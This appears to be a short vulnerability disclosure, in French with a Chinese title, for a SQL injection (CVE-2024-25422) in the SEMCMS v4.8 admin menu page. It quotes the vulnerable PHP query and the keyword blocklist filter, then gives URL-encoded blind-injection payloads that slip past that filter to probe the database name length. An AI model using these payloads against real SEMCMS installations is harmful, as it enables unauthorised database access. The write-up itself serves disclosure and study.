
semcms存在SQL注入(CVE-2024-25422 )
Introduction à Semcms
SEMCMS est un système de gestion de contenu (CMS) pour sites web de commerce extérieur qui supporte plusieurs langues.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
Causes des vulnérabilités :
/xcR45q_Admin/SEMCMS_Menu.php Ligne 66
Code de vulnérabilité :
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
On peut voir que l'ID ici exécutera une instruction SQL lors du passage de paramètres via GET
Code de filtrage dans /Include/contorl.php
Ligne 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
Et la 8ème ligne
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
En filtrant le contenu ci-dessus, nous pouvons construire un payload
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
Récurrence des vulnérabilités
visiter un site web
http://url/xcR45q_Admin/SEMCMS_Menu.php
Capture de paquets avec Brupsuite, étant donné que la longueur du nom de la base de données est de 5 lors de la création d'un nouveau site, le payload est construit comme suit
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(Déterminer si la longueur du nom de la base de données est de 5)
Insérer le payload pour voir l'echo

Changer le payload à ce moment
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(Déterminer si la longueur du nom de la base de données est de 6)
Changer le payload à ce moment

L'injection SQL peut continuer en fonction des changements de la page à l'avenir